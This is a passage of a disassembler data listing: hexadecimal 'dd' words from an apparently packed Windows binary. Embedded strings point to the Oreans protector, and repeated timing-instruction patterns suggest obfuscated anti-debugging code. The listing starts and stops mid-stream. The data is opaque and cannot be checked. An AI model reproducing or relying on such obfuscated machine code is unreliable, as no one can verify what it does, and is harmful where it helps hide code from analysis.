9AC526Dh dd 2FF67994h, 81EBABAh, 3F4636DCh, 0B3EDC57Ah, 97CFED86h dd 3B3AFB7Eh, 5617F9B8h, 1C12ABA7h, 0B1F63F46h, 0F3B236CFh dd 441B5A31h, 0A9294F2h, 4CAh, 32A752EFh, 5BD09117h, 80F5BC40h dd 0AA1FC665h, 0D64BEE8Fh, 1798A395h, 20C2DD52h, 41E50075h dd 690C279Ch, 0B75353C8h, 463743A1h, 865E133Fh, 4F31F073h dd 907233B6h, 17C90F0Ch, 18AFCD94h, 3F797E11h, 0D94EFD53h dd 1CA23BBEh, 0A9BF7759h, 3924F83Bh, 88AFD61Bh, 0F7D110A6h dd 4E6C3924h, 27AF43B7h, 0EE9D0643h, 0F073256Bh, 3113D259h dd 0F9D44970h, 0DD153340h, 98A0A846h, 94EF61Ah, 0B6D24F1Ch dd 89853468h, 3F46D42Ch, 316987CCh, 0EACC9518h, 0E3822A29h dd 92914001h, 0E977F0EFh, 381C78A3h, 0FE819C11h, 3DFC5537h dd 391BC65Ch, 1D335178h, 3926046Bh, 0A93B5189h, 32CE372h dd 0E372F7EDh, 0A61A5F2Ch, 368EE461h, 8D140FBAh, 7256ADEh dd 9C2BB9CFh, 0E62B2CE3h, 7D001937h, 81243FB4h, 94A5FEE0h dd 95BC6507h, 1BDA5E77h, 9BFDE7FDh, 14592CE3h, 70314765h dd 0B63301AFh, 0A7561F9Dh, 592CEE33h, 0A5E60618h, 3B81BA3h dd 44DD0000h, 63092499h, 8E324DC2h, 0D05772E7h, 0FC819C11h dd 9183C439h, 0C73CE186h, 0F66B16ACh, 21965BDBh, 4DC26306h dd 499BB14Dh, 0D3F4638h, 0F0738058h, 33B64F31h, 1722FD72h dd 1239FC82h, 0F07BDEF4h, 80C53F42h, 0B5D8089Eh, 37D43306h dd 0ED8482F1h, 203D87E3h, 87000000h, 0CFED86B3h, 42FE4CB9h dd 25074C3Fh, 6A7518Fh, 78BE5B33h, 0E4000B09h, 0F1C487h dd 730E0000h, 974F31F0h, 98A43000h, 9C4BBA85h, 3755189Dh dd 0F9DB9A1Eh, 0EA78938h, 4FE8CA6Bh, 50E705ACh, 6C0BF56Dh dd 0A522E3C5h, 0CF7EA65Ah, 3DE1425Ah, 0C5683925h, 0ADC6FE1Ch dd 0C5866815h, 25361BC9h, 47F63B39h, 6D34B7D2h, 859BD38Bh dd 3925355Fh, 4403B2F7h, 485E7CF5h, 3F4342B1h, 346C8ACFh dd 728C61Eh, 9C4B9033h, 2EED4C27h, 343AF20Ah, 31E434C1h dd 0B3D62DAAh, 0AFC5E30Ah, 392840D2h, 0C2A23BEh, 177C8968h dd 34B9D2F0h, 5CE1FC71h, 9E40D799h, 0C0EEC27h, 2A184h dd 803DC600h, 0A948F00Bh, 0CE971934h, 0F6BF3E59h, 1CC16681h dd 697466A7h, 91AC21C4h, 0B4CF44F1h, 0DFFA6F32h, 2020955Ch dd 38766E84h, 2BE03F46h, 2FF27353h, 3FC0D911h, 0DBD7987Ah dd 3924D309h, 0E459084Dh, 0A7F26C9h, 628298D0h, 0F43924D2h dd 0B34800AFh, 0B9CFED86h, 3F42FE4Ch, 43E289A2h, 1AFCA544h dd 9B36AA59h, 9F7894DAh, 583A61DEh, 3DE487A0h, 714E928Eh dd 0C15E3306h, 370E0C7Bh, 0CAC787E4h, 0AB000000h, 64875D73h dd 93CF3306h, 664677Dh, 83AAEF33h, 0F0731CD4h, 0C5DB1331h dd 3924D31Fh, 0D75F237h, 0AAF3D9Eh, 0BA48635h, 4FE5C76Ah dd 392548D4h, 0DC081E56h, 7A39253Fh, 0E3011735h, 7339253Fh dd 0FD807F2Eh, 0EE85BF34h, 7634EED4h, 0F57978F2h, 0FF828130h dd 3EFB5436h, 78FE1735h, 6312D3B5h, 57CA2F45h, 71B63F43h dd 5B1821FCh, 0E6FB273Dh, 92D73927h, 20DA5B74h, 0E694DA0Ah dd 10377C2Ch, 3AFF809Bh, 27249978h, 1BA3A5ECh, 18Ah, 0F26712AFh dd 1B9051D7h, 40B57C00h, 6ADF8625h, 960BAE4Fh, 0D7586355h dd 0E0829D12h, 1A5C035h, 29CCE75Ch, 77131388h, 46398361h dd 461ED33Fh, 0BA2FF273h, 0E0551C9Fh, 0DBF0730Ch, 3E3C664Eh dd 3B5980FAh, 0F6D89D22h, 0BA48635h, 7954C968h, 3EA6BCC0h dd 183924FEh, 788EACD3h, 3F4305E5h, 0E7001E63h, 0C0234B40h dd 566B5A1Fh, 0DD8C4D2Fh, 0E47B65FBh, 0A0483306h, 0FEE08529h dd 9B34163Dh, 1072541Dh, 0D9EFC90Fh, 8987F63Ch, 4287E3BEh dd 2Ch, 0ED86B38Ch, 0E02CB9CFh, 0E72C3F42h, 0C5716F05h dd 0AD523306h, 0EE8D2608h, 0D6F76547h, 3A0B690h, 0E1504EBDh dd 210987E3h, 53000000h, 24D26B76h, 7C9F9A39h, 0CA3DFB0Dh dd 89A7CE7Bh, 0F1B03851h, 0A39F4E0Fh, 3F43FDBEh, 4D84D92h dd 0FAA73B54h, 0E9A85718h, 0EF052350h, 3F42FA1Eh, 8120C7E0h dd 8A39FC82h, 59EFD116h, 3306AB87h, 0D3428825h, 87E3F7D5h dd 1D8Eh, 1C54D800h, 24D2DE06h, 84337839h, 24D25888h, 0E58EAB39h dd 0B0B1C7h, 5BA03F43h, 86B312E6h, 0A4B9CFEDh, 0A43F461Ch dd 8428415Fh, 0B34C2EDDh, 3A537130h, 0F910F2B3h, 3D40240Ah dd 9D4C735Ah, 0F36A0D28h, 6D8BB26Fh, 2A0CD554h, 6749EC91h dd 0EED07FA6h, 5E772858h, 0ADF3F0B1h, 44B978FBh, 61078629h dd 1EB799C0h, 86F4D69Fh, 0CA6D1F65h, 189BB62Bh, 3EF7759h dd 0BD000000h, 0EE73A77Fh, 35B85133h, 4DF18A6Ch, 952DC6A8h dd 0C86D06E8h, 5AA4325h, 46E57E60h, 8024BD9Fh, 0C666FFE1h dd 55003D1Fh, 0C5815D54h, 4 dd 8704ED83h, 535C242Ch, 0C381E389h, 4, 4EB81h, 1C870000h dd 0C895C24h, 2CE06824h, 3C890000h, 4A586824h, 0C8B0621h dd 4C48324h, 4EC81h, 24890000h, 24048124h, 4, 0CB89535Fh dd 8B085F89h, 0C481241Ch, 4, 52243C8Bh, 0C281E289h, 4 dd 4C281h, 14870000h, 0C8B5C24h, 0E6895624h, 4C681h, 0C6830000h dd 24348704h, 15A5E95Ch, 70FCFFFDh, 0CFABA57Bh, 22AD77h dd 0B31CF4D4h, 6973B80Bh, 0C5030621h, 0A354E0FFh, 0F1443DD3h dd 35B00B93h, 93DA6C51h, 0C94E57E3h, 0CDAE08AAh, 0BE3D63B5h dd 5787368Dh, 2B4568F5h, 0F11950F6h, 0AEE4CBFh, 0EEAD7C06h dd 33132FBEh, 0BA282A5Dh, 5DEC1B4Ch, 6A171254h, 39275BC6h dd 2C6256D8h, 36291232h, 0A0B408B9h, 2DF81AD6h, 87A6452Fh dd 39522710h, 56B9351Dh, 17D31930h, 0B0620434h, 425D7F99h dd 300079F9h, 0C0F90E8Bh, 0AE82873h, 0D6000000h, 3BE9396Bh dd 350C2524h, 0D38B669Ah, 72DC805Fh, 5B31C781h, 0FE90000h dd 0C000000h, 0FB044ED0h, 0EE84894Fh, 72C64472h, 6801ECh dd 0F000000h, 535BF3BFh, 1F0C8B58h, 9880Fh, 66600000h dd 0F5F7EB9h, 8161F0B7h, 3CCC0C1h, 81B3B418h, 5ADEA7C1h dd 0F7B70F0Eh, 2CE2F181h, 0B70F5925h, 1F0C89D7h, 14E8h dd 97E1DE00h, 6CF91A13h, 6897104h, 8964C7D7h, 6D66F2D3h dd 5AF48A42h, 47DAF281h, 0EB8321BFh, 8E904h, 4E7B0000h dd 3328807Dh, 0FB8152E1h, 0FFFFA594h, 16850Fh, 0F2810000h dd 6E6E80DEh, 1BE9h, 8D1F3D00h, 2B5E176Dh, 1AE22958h, 73DA8166h dd 0FF73E988h, 874FFFFh, 5866F78Bh, 464934EBh, 52474D53h dd 4B562020h, 20202044h, 4D562020h, 2020204Dh, 57562020h dd 32334E49h, 58562020h, 52444C44h, 2020h, 2 dup(0) dd 45E90000h, 60000008h, 0E9DA8B66h, 0Ah, 21CED6CEh, 628077ACh dd 60618FFCh, 11860Fh, 50600000h, 8E95Bh, 48980000h, 5D64DB66h dd 0C76106E2h, 216B7E85h, 6, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 800FBD6Eh dd 1, 6AC68BF5h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 0F85C351h, 6AD8B7h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 42C17EC3h dd 666060C0h, 4F67E281h, 0AE2EF681h, 0F610DA7h, 48Ch, 9DB86600h dd 0E8C161F6h, 50006A10h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 0A287C417h, 0FE9h, 22408800h dd 3FE76415h, 878F4A7Bh, 8093CF87h, 8C8C166h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 7C35545h, 0ABF2366Fh dd 10E962h, 0D53A0000h, 0D4E07CE6h, 166FE714h, 54E63DC7h dd 8E0F4AB0h, 18h, 128D0Fh, 0DE90000h, 38000000h, 4C429571h dd 735510F3h, 0E1F08075h, 6B828589h, 6A0621h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0B7225AC3h dd 0FCA6EA0Eh, 0C166F513h, 8B6008CBh, 0FAB70FF7h, 40FB8361h dd 73850Fh, 14E90000h, 5D000000h, 154AB9BBh, 0AF4668FCh dd 0A08C7017h, 0B294BF1Ch, 0FC67B5A9h, 6B56BD8Dh, 6A0621h dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 62D159C3h, 8B60F5A3h, 0EE960D7h, 0EE000000h, 0F4673A6Dh dd 402B2601h, 0FAF6E1AFh, 61616018h, 1B4E961h, 0F600000h dd 58Ch, 0D6816600h, 0F576D85h, 615FD7B7h, 0DFB83F9h, 8D850Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 9BD1D0C3h, 8D5F7721h, 216B5EBDh, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 1F48A7B6h, 41868D2Eh, 0CE9D3E9h, 68000000h, 7AB7D7Bh dd 6367BFA5h, 0E90D9125h, 136h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 5C35242h, 60CDC5F9h, 0F98B6652h dd 0D881665Fh, 836172F7h, 850F01FBh, 74h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 15h, 0F0C35141h, 5E966h dd 460C0000h, 8DB604DBh, 216B66BDh, 12E906h, 83FE0000h dd 7E37B9FEh, 0F6E2AD37h, 2B50245h, 0A58A98C5h, 0B9E9h dd 7E86000h, 6000000h, 0D01088FAh, 10E8C7C2h, 99000000h dd 0B4E1BDC6h, 115BB830h, 11242739h, 5AB6684Ch, 9EE0815Eh dd 617078E4h, 0F2AFB83h, 6185h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 576C929Ah dd 59D08060h, 0BD8D61FCh, 6216B6Eh, 0EE9h, 9F10200h, 708398B4h dd 0DE9D8078h, 0E9C4C9E7h, 42h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 29C35343h, 0FB83F867h, 0E6850F27h dd 60000002h, 8C0F60h, 0F000000h, 8Eh, 0B8666100h, 8D61C289h dd 216B76BDh, 0BD89F806h, 6216B86h, 10E960F9h, 0DD000000h dd 42176140h, 0ED86A146h, 6A558153h, 5676028Ch, 615F6160h dd 60C88C66h, 0E150B857h, 0F5E4D3Eh, 2461C1BFh, 1830F03h dd 0FC000000h, 0FC00AF5h, 21185h, 8160F500h, 0EA53DCE7h dd 7E92Bh, 34A60000h, 0F17A48Ch, 0B58D615Dh, 6217245h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 8DC35343h dd 0AE9F9h, 0DE410000h, 8C545263h, 0A3E72844h, 734A858Bh dd 6A0621h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 2373DBC3h, 0B713E238h, 60BC7679h, 85A9BB66h dd 0F561ABB6h, 0DE992h, 658F0000h, 48C6EAAEh, 31DCE0F4h dd 5033F409h, 52505250h, 310F5250h, 310F585Ah, 310F5250h dd 585A585Ah, 5060310Fh, 6122B159h, 6A92585Ah, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 61F4C357h, 0ACB84B83h, 0F8BF0F60h, 10F61F5h, 0FFE244Ch dd 0F8Ah, 0AE900h, 39210000h, 5DBF9B97h, 9C56ED9Bh, 56006A5Ah dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 29AB0F55h, 5157EE23h, 5E9C6h, 0A670000h, 0E902C8DBh dd 11h, 9FD4193Bh, 5251CB2Bh, 0B7470ECAh, 0C47CAA1Dh, 24C2834Ah dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0BDC35646h dd 89664149h, 6AFC72h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0F5D9DC3h, 1482h, 0AE96000h, 5F000000h dd 19C4E16Dh, 0C77E474Fh, 0F0B70F15h, 10CEC161h, 13E9h dd 0D064B000h, 0FE9E1BF6h, 0ADFA6DAEh, 99BD6EE7h, 4D62E3A0h dd 2728966h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 4BC35242h, 0CDC18A4Ch, 10E904h, 1BA50000h, 382D0F67h dd 15D3DFCh, 0D72894EDh, 97E9D729h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 5C18C357h, 0E0C6D21Fh, 3F1A81BEh, 858BF8F8h, 621734Ah dd 0EE9h, 0BA6E5A00h, 594F4BC8h, 2FAB4549h, 8DEA0DB5h dd 217245B5h, 858DF906h, 621416Bh, 5E9h, 40023E00h, 0D0FFE75Ch dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 61C35545h dd 0BFD1EC22h, 0FEB15F3h, 158Ah, 0F890F00h, 0E9000000h dd 0Ah, 60A79EE2h, 0DFF07E86h, 85897E4Ch, 6216B7Eh, 8B6061F9h dd 38E0FF1h, 0F000000h, 8B61FBB7h, 216B7E85h, 0FE906h dd 21F10000h, 731CB4EDh, 3C6BEB92h, 7328C0ACh, 6AC3DEh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 0FAD3FC3h, 0C81h, 6890F00h, 0F000000h, 8Eh, 6A6000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0B36098C3h, 0EF816613h, 8361D068h, 21734ABDh, 850F0006h dd 95h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h dd 29C35646h, 0E99992A9h, 9, 0C93F053Dh, 0AD262B8Ch, 13880F1Bh dd 0E9000000h, 0Eh, 482400D2h, 92CA2E72h, 0B904F4BCh, 85C7A60Dh dd 621734Ah, 1013Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 99C35747h, 0FC60FB97h, 13E9h, 87143400h dd 67ED52F2h, 7610BEE1h, 21692195h, 0EB5E57F5h, 0F606061h dd 5F50D0B7h, 0DABF0F61h, 36E961h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 9C7738C3h dd 829ED717h, 0FE9h, 0B7503400h, 7072DACh, 647B8181h, 0A44FE0FDh dd 20CDh, 0C00B0000h, 708D3774h, 86BD8B0Ch, 0B906216Bh dd 8, 492275A6h, 488BFA75h, 829D8B30h, 3B06216Bh, 157F3458h dd 0D26BD38Bh, 8BCA0304h, 7E858901h, 0EB06216Bh, 0EB008B04h dd 858B61C5h, 6216B7Eh, 66F860CFh, 4B0EE081h, 56006A61h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0B47740A3h, 7820Fh, 8C0F0000h, 1, 0AE9F8h, 0E4D20000h dd 0B145AFA4h, 40679661h, 13E8C08Bh, 36000000h, 0AB6A6A63h dd 0CF7CE3BAh, 7869F6BEh, 562233D3h, 0E960137Bh, 0Ch, 1B5E87B0h dd 0DC7FC3A6h, 0A1198EA6h, 6810Fh, 8D0F0000h, 0 dd 0B70F5E61h, 5EC681CEh, 0E9000065h, 7, 9435CEA2h, 0B82A15F0h dd 0 dd 34FF43B6h, 5E930h, 9DE80000h, 5B298EF6h, 14DDEB81h dd 0EF8165A8h, 469A59CFh, 9727F381h, 0BE94649h, 0D0000000h dd 0EA6AE328h, 469264FAh, 0EB8185F1h, 69AD86C8h, 5E9h dd 0DC76D900h, 1C89480Fh, 88E0F06h, 0F000000h, 28Ah, 81CA8A00h dd 9714CFE8h, 14E872h, 0A1970000h, 31A6A9A5h, 0A77BBAD3h dd 0C7C1FDB7h, 0EFD7BEBEh, 0D68B4D77h, 0CBC08159h, 66729714h dd 0A200D981h, 9B80F881h, 850FFFFFh, 0FFFFFF76h, 3870Fh dd 0D2800000h, 400E9B2h, 0 dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0) dd offset dword_55FEC0+140h dd offset dword_445750+0A8B0h dd 0 dd 0E7E90000h, 60000011h, 27199D31h, 5852061Eh, 9D858B61h dd 6A061E1Eh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 5478C353h, 0F59C6712h, 4244439h dd 79850Fh, 9D890000h, 61E14E5h, 7DBD83F8h, 61E08h, 65840Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 6B90E0C3h, 0BEDF8160h, 0E90E4683h, 8, 5C4F285Ch dd 591D7424h, 0FA858D61h, 6A061E38h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 201C353h dd 75B58919h, 0FF061E29h, 39B589E0h, 8B061E22h, 1E145585h dd 14E906h, 4F010000h, 4B9B533Fh, 0A21FEC90h, 0DB95D0D9h dd 7782F18Dh, 44396B86h, 850F0424h, 40h, 68B0Fh, 85890000h dd 61E0429h, 78BE85C7h, 10621h, 0E8600000h, 10h, 0A1D7905Ch dd 82008065h, 4D9AA630h, 0F37AE022h, 810Fh, 0F590000h dd 681h, 0B1858900h, 61061E26h, 51006A60h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 5E3DAF0Ch dd 1CE9h, 8F0FF800h, 11h, 0CE9h, 0AD99E000h, 0E27565C4h dd 157FD26Eh, 0DFh, 1B800h, 85870000h, 6217A21h, 0F675C00Bh dd 2041B5FFh, 858F061Eh, 62178B6h, 0FF6A206Ah, 327195FFh dd 0BD83061Eh, 61E25A9h, 6A087400h, 0C195FF00h, 83061E26h dd 1E18D1BDh, 0D740106h, 8068h, 0FFFF6A00h, 1E327195h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 0BD29C871h, 61E0955h, 0F2816660h, 9589421Ah dd 61E22D1h, 89C02B61h, 1E02D9B5h, 24548B06h, 6830F28h dd 89000000h, 1E162995h, 65858906h, 0F9061E00h, 3CBEh dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 7403F8A1h, 6A2424h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 1E8C86C3h, 0FF17549Bh dd 178D0FF8h, 60000000h, 276DB529h, 0AE9061Eh, 0F2000000h dd 4DF79888h, 0BDD876BDh, 95896153h, 61E214Dh, 0BD89AD66h dd 61E1249h, 9830Fh, 60600000h, 0E1816661h, 36184E4h, 6A242444h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 27D1C352h, 10E9908Ch, 46000000h, 0FA243A58h dd 83FF791Eh, 2D04A8C9h, 5017730Fh, 52505250h, 0CE9h, 94272900h dd 0EE6416BAh, 5C042912h, 0F310F4Bh, 8Fh, 0F585A00h, 60525031h dd 60310F61h, 5A585A61h, 9D319058h, 61E32BDh, 8978408Bh dd 1E20B1BDh, 0BEBD8306h, 62178h, 0E7850Fh, 10E90000h dd 9F000000h, 99314C08h, 0E877A46Ch, 0AFB9460Ah, 0F874D5C0h dd 60525090h, 0AB34BBAh, 13E919h, 0A0910000h, 0E7BC936Bh dd 45750647h, 3011B0Fh, 3E0E63FAh, 310F61D0h, 0AE9h, 2D21B100h dd 0FADAF46Ah, 5A6DAAF4h, 8B0F5058h, 0Ch, 6850Fh, 52500000h dd 585A310Fh, 448BF890h, 0BD092C24h, 61E0031h, 7850F50h dd 60000000h, 8B666160h, 48961CEh, 52006A24h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 9AE31806h dd 8BCA91D8h, 0BA666029h, 8D612B4Dh, 213BFD85h, 0F18B6006h dd 26B19589h, 0FF61061Eh, 52006AD0h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 83BA4B15h dd 37C2E05Ah, 7E9F5h, 880C0000h, 0FF037462h, 2444032Dh dd 408BF528h, 0EE9F918h, 2B000000h, 1E3DEF5Dh, 7FA9ECDAh dd 62A4F9A2h, 6A4038h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 0AF4668C3h, 0E9F97017h, 10h, 8EB447C5h dd 69908EFFh, 895F7102h, 988D6074h, 78BA8589h, 58F50621h dd 18A0Fh, 8BFC0000h, 83F97870h, 820F1CC6h, 9, 858BF560h dd 61E1241h, 6A9661h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 3F598DC3h, 0BE9FDh, 0A1A40000h dd 0F15BD874h, 0E39F1C80h, 247C8193h, 24h, 15870F10h, 6A000001h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0C8DEC352h, 0FF2F158Fh, 7E9B9h, 0E2AB0000h dd 3FB6E514h, 52505070h, 52505250h, 585A310Fh, 5250310Fh dd 585A310Fh, 310F585Ah, 188B0Fh, 13E90000h, 4C000000h dd 0BA17698Fh, 2C1F16B7h, 0AC22A18Ah, 5287B46Eh, 585A8D90h dd 6A240489h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 4FA7C350h, 0BD897A85h, 61E1999h dd 6810Fh, 9D890000h, 61E1B41h, 2824448Bh, 21F18D31h, 5050061Eh dd 60525052h, 50310F61h, 5A310F52h, 0F585A58h, 6E931h dd 0C2190000h, 57295776h, 489585Ah, 0C830F24h, 0F000000h dd 68Fh, 800F00h, 8D000000h, 213BFD85h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 801E03C5h, 9217B1C3h, 5660A4A7h, 160DBD89h, 615E061Eh dd 0B509D0FFh, 61E2ED1h, 50006A96h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 9A4050C7h, 8C0F9467h dd 6, 0E59BD89h, 0E960061Eh, 5, 102FA0F5h, 0F1B58BD1h dd 61061E21h, 24247403h, 2FD9BD31h, 0BD8D061Eh, 61E098Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 6EC35141h dd 14A3A12Dh, 0E9A90464h, 9, 901C2337h, 0C6A86B17h, 6AAD9Eh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 81FEF7C3h, 24247Ch, 0F100000h, 15287h, 6E900h, 79010000h dd 0B634C0C8h, 0F525050h, 689h, 0F525000h, 0F585A31h, 50525031h dd 5A310F52h, 0F310F58h, 82h, 5A585A00h, 24048958h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 2EC35040h, 0C85B589h dd 880F061Eh, 19h, 14E9h, 1A6BD900h, 80847BE1h, 78727A29h dd 73B93292h, 59E2CE99h, 24448BA6h, 57006A28h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 3E8620B8h dd 27698D89h, 160061Eh, 1E1BE99Dh, 8E906h, 68F10000h, 0BC7C42E5h dd 9061F63Eh, 148D0Fh, 0FE90000h, 7B000000h, 8D0408C7h dd 8DAC97F4h, 782ED02Ch, 605054DEh, 0CB05BB66h, 61CA8B66h dd 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 650D3E75h, 4850DF24h, 3BFD858Dh, 6A0621h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 9DDE13C3h, 41EDDCDCh, 0FFB45F06h, 53006AD0h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 2C32F777h dd 15E3498Fh, 2D9D09F9h, 3061E2Fh, 6A242444h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 7002C352h, 29483341h, 1E2EF98Dh, 1858906h, 0AB061E32h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh dd 4DC35747h, 0F9AAC813h, 0F50C2E5Ch, 13E18D09h, 0FA81061Eh dd 10000h, 7F6820Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 8589DAC3h, 61E0DE1h dd 12E9h, 561B6E00h, 1CEF3682h, 7FF0DEBCh, 7F00B3E3h, 8DBD0773h dd 1E2BA1BDh, 0FD8D8906h, 0AD061E2Eh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 18C35545h, 8F57AC81h, 2E018D29h dd 7C81061Eh, 2424h, 870F1000h, 105h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 22C35141h, 8509FC7Eh, 61E1471h dd 8800F50h, 60000000h, 0A35BBB66h, 89615851h, 6A2404h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 6CF055C3h, 448BF9ADh, 6A2824h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 4BA5DBC3h, 0A8614B2Ah dd 8942C56Ch, 1E2EB1B5h, 0B5953106h, 50061E09h, 9E95250h dd 0AB000000h, 78596C3Ch, 908F9DA3h, 8E9310Fh, 0E9000000h dd 7047C17Dh, 5AF221DCh, 24048958h, 0A860Fh, 89600000h dd 1E2F5185h, 61F08A06h, 3BFD858Dh, 6A0621h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0A9D51FC3h dd 17FB6C76h, 68E0F2Ch, 89000000h, 1E1CB185h, 0E9D0FF06h dd 9, 0C59713C2h, 53B79DDBh, 244403D3h, 0BE924h, 2BF20000h dd 0D8F4E05Ch, 3103A6DBh, 8E99066h, 92000000h, 0D5BB694Bh dd 50700EBDh, 66DE8B60h, 61A675B9h, 0C840F90h, 60000000h dd 5FEDBA66h, 0E2F9F681h, 0AB61034Eh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 0B7C35343h, 0EA998701h, 17800F77h dd 0E9000000h, 12h, 0F9C85894h, 58779422h, 14963CD5h, 0FE0E2389h dd 0BD8D6B9Eh, 61E1D05h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 40C35242h, 8D895E86h, 61E0599h, 6800Fh dd 85310000h, 61E1431h, 6830FADh, 9000000h, 1E328D8Dh dd 247C8106h, 28h, 5870F10h, 0F5000001h, 0C870F50h, 0F000000h dd 68Eh, 0F525000h, 89585A31h, 6A2404h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 7790BCC3h dd 2C24448Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 51C35141h, 0E990F5EEh, 9, 0A5F3CFE7h, 0E405E013h dd 53605081h, 5E9h, 0E22CB700h, 565ACC3Fh, 6A90615Bh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 0CE07C353h, 0BD896040h, 61E0289h, 61F08B66h, 3BFD858Dh dd 6A0621h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 90DF64C3h, 4F942D0h, 9E9602Ch, 1D000000h dd 20060809h, 583C9784h, 68A0Fh, 0BD890000h, 61E1B89h dd 60D0FF61h, 18CDB531h, 0E951061Eh, 0Eh, 0E161A257h, 0A9F44F30h dd 0C8B3FB7h, 615FE323h, 28244403h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0C0C35242h, 0F78D595Bh, 6AABA8h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 864EE2C3h, 0FF5EFCCCh, 2178BA8Dh, 0BABD8306h, 62178h dd 0C0330A75h, 8834B58Dh, 0E6FF0621h, 7C81AD56h, 2824h dd 0E771000h, 24448B50h, 858D502Ch, 6213BFDh, 4403D0FFh dd 8B972824h, 0B6858ADFh, 84062178h, 3A0474C0h, 574C7507h dd 75AEC032h, 